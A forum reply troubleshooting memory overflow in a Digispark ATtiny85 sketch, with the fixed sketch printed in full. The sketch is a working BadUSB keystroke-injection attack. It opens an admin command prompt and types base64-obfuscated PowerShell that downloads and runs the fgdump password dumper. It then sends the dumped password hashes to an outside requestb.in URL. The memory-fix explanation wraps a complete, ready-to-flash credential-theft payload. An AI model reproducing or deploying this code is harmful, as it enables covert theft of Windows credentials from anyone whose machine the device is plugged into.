Ok, long story short, I have it working. Read the code below if you want to see how to work around the issue.
When I first loaded the code, I looked through it, and it seemed fine, so I compiled it to see what compiler said.
Sketch uses 3,800 bytes (63%) of program storage space. Maximum is 6,012 bytes.
Global variables use 474 bytes of dynamic memory.
Ok, so flash memory useage is fine... dynamic (SRAM) not so good. The Attiny85 only has 512 bytes of SRAM, and some of that will be lost to the bootloader and the Arduino IDE core. So anything above say around 450 is pushing it, and begging for your code to spontaneously and randomly implode. Unfortunately the core doesn't have the maximum size for the SRAM, so didn't warn you... due to that feature being added to the Arduino IDE after the core was written.
Strings consume a lot of memory, so the trick is use the PROGMEM stuff to instruct the compiler to keep them in flash memory, and only load them into SRAM on demand. Then you can use a buffer variable in SRAM, and pull the strings from the flash memory in chunks. Unfortunately, the core files for the Digispark are pre Paul Stoffregen's re-write/refresh of the String library for Arduino, which is when I believe the F() macro was introduced, making it so you could simply surround your string with F(), and it would then be stored in flash memory and loaded when needed. Thus we need to do it ourselves, which is a bit more awkward, but doable.
The key bits are
#include <avr/pgmspace.h>
(to include the PROGMEM helper functions)
//long string in flash memory
const char line1[] PROGMEM = "echo Y2QgL3dpbiAmIGVjaG8gKHdnZXQgJ2h0dHA6Ly9kYXRhLmh1L2dldC8xMDI2";
const char line2[] PROGMEM = "NjMzNi9mZ2R1bXAuZXhlJyAtT3V0RmlsZSBvdXQuZXhlKSA+IHRlc3QuUFMxICYgc";
const char line3[] PROGMEM = "G93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSB0ZXN0LnBzMS";
const char line4[] PROGMEM = "AmIFNUQVJUIC9CIG91dC5leGUgJiBwaW5nIDEyNy4wLjAuMSAtbiA0ID4gbnVsICY";
const char line5[] PROGMEM = "gZWNobyAoJHBhc3NlcyA9IEdldC1Db250ZW50IGM6XHdpblwxMjcuMC4wLjEucHdk";
const char line6[] PROGMEM = "dW1wKTsoJHVybCA9IGh0dHA6Ly9yZXF1ZXN0Yi5pbi8xZ3JqYjdmMT9wPScgKyAkc";
const char line7[] PROGMEM = "GFzc2VzKTsod2dldCAkdXJsKSA+IHJlcXVlc3QuUFMxICYgcG93ZXJzaGVsbCAtRX";
const char line8[] PROGMEM = "hlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSByZXF1ZXN0LnBzMSAmIGV4aXQ= ";
const char line9[] PROGMEM = "> base.txt";
(loading your string into progmem... size of the chunks is your choice... but the longer the chunk, the bigger the buffer will need to be)
char buffer[66]; //as long as longest string + 1 for null
(buffer in SRAM which the chunks will be loaded into)
#define GetPsz( x ) (strcpy_P(buffer, (char*)x))
(helper macro which will let us access PROGMEM chunks via the buffer variable)
And in your loop function (or wherever you want to access the chunks of progmem data)
printText( GetPsz (line1) );
printText( GetPsz (line2) );
printText( GetPsz (line3) );
printText( GetPsz (line4) );
printText( GetPsz (line5) );
printText( GetPsz (line6) );
printText( GetPsz (line7) );
printText( GetPsz (line8) );
printText( GetPsz (line9) );
(GetPsz will return the buffer variable, which is loaded with the contents of the given PROGMEM chunk/string)
Bonus (use or not) - blink the P1 led when finished, and keep the USB interface happy also (remember to do pinMode(1,HIGH) in setup() also):
//blink the P1 led we know the digispark hasn't crashed
while (1)
{
digitalWrite(1, !digitalRead(1));
DigiKeyboard.delay(500);
}
Disclaimer: I haven't run the full code, only fixed up the SRAM overrun, so something else may be broken, but I know it at least does the base64 print without issues ;-) Sketch now uses 4,432 bytes (73%) of flash memory, and 184 bytes (of say... 450) SRAM... so should run without issue.
#include <avr/pgmspace.h>
#include "DigiKeyboard.h"
//long string in flash memory
const char line1[] PROGMEM = "echo Y2QgL3dpbiAmIGVjaG8gKHdnZXQgJ2h0dHA6Ly9kYXRhLmh1L2dldC8xMDI2";
const char line2[] PROGMEM = "NjMzNi9mZ2R1bXAuZXhlJyAtT3V0RmlsZSBvdXQuZXhlKSA+IHRlc3QuUFMxICYgc";
const char line3[] PROGMEM = "G93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSB0ZXN0LnBzMS";
const char line4[] PROGMEM = "AmIFNUQVJUIC9CIG91dC5leGUgJiBwaW5nIDEyNy4wLjAuMSAtbiA0ID4gbnVsICY";
const char line5[] PROGMEM = "gZWNobyAoJHBhc3NlcyA9IEdldC1Db250ZW50IGM6XHdpblwxMjcuMC4wLjEucHdk";
const char line6[] PROGMEM = "dW1wKTsoJHVybCA9IGh0dHA6Ly9yZXF1ZXN0Yi5pbi8xZ3JqYjdmMT9wPScgKyAkc";
const char line7[] PROGMEM = "GFzc2VzKTsod2dldCAkdXJsKSA+IHJlcXVlc3QuUFMxICYgcG93ZXJzaGVsbCAtRX";
const char line8[] PROGMEM = "hlY3V0aW9uUG9saWN5IEJ5UGFzcyAtRmlsZSByZXF1ZXN0LnBzMSAmIGV4aXQ= ";
const char line9[] PROGMEM = "> base.txt";
char buffer[66]; //as long as longest string + 1 for null
#define GetPsz( x ) (strcpy_P(buffer, (char*)x))
void digiReset() {
DigiKeyboard.sendKeyStroke(0, 0);
DigiKeyboard.delay(50);
}
void waitFor( int d ) {
DigiKeyboard.delay( d );
}
void sendModKey( int key, int mod ) {
DigiKeyboard.sendKeyStroke( key, mod );
DigiKeyboard.update();
}
void sendKey( int key ) {
DigiKeyboard.sendKeyStroke( key );
DigiKeyboard.update();
}
void printText( char * txt ) {
int l = strlen(txt);
for (int i = 0; i < l; i++) {
DigiKeyboard.print( txt[i] );
DigiKeyboard.update();
}
}
void setup() {
digiReset();
pinMode(1, OUTPUT);
}
void loop() {
// Get an AdminPrompt
sendModKey( 0,MOD_GUI_LEFT);
waitFor( 1000 );
printText( "cmd");
sendModKey( KEY_ENTER, MOD_CONTROL_RIGHT | MOD_SHIFT_RIGHT );
waitFor( 2000 );
sendKey( KEY_ARROW_LEFT );
waitFor( 2000 );
sendKey( KEY_ENTER );
waitFor( 2000 );
// Type out some base64 code
printText( "cd \ & mkdir win & cd win");
sendKey( KEY_ENTER );
waitFor( 2000 );
printText( GetPsz (line1) );
printText( GetPsz (line2) );
printText( GetPsz (line3) );
printText( GetPsz (line4) );
printText( GetPsz (line5) );
printText( GetPsz (line6) );
printText( GetPsz (line7) );
printText( GetPsz (line8) );
printText( GetPsz (line9) );
waitFor( 50 );
sendKey(KEY_ENTER);
waitFor( 5000 );
//blink the P1 led we know the digispark hasn't crashed
while (1)
{
digitalWrite(1, !digitalRead(1));
DigiKeyboard.delay(500);
}
};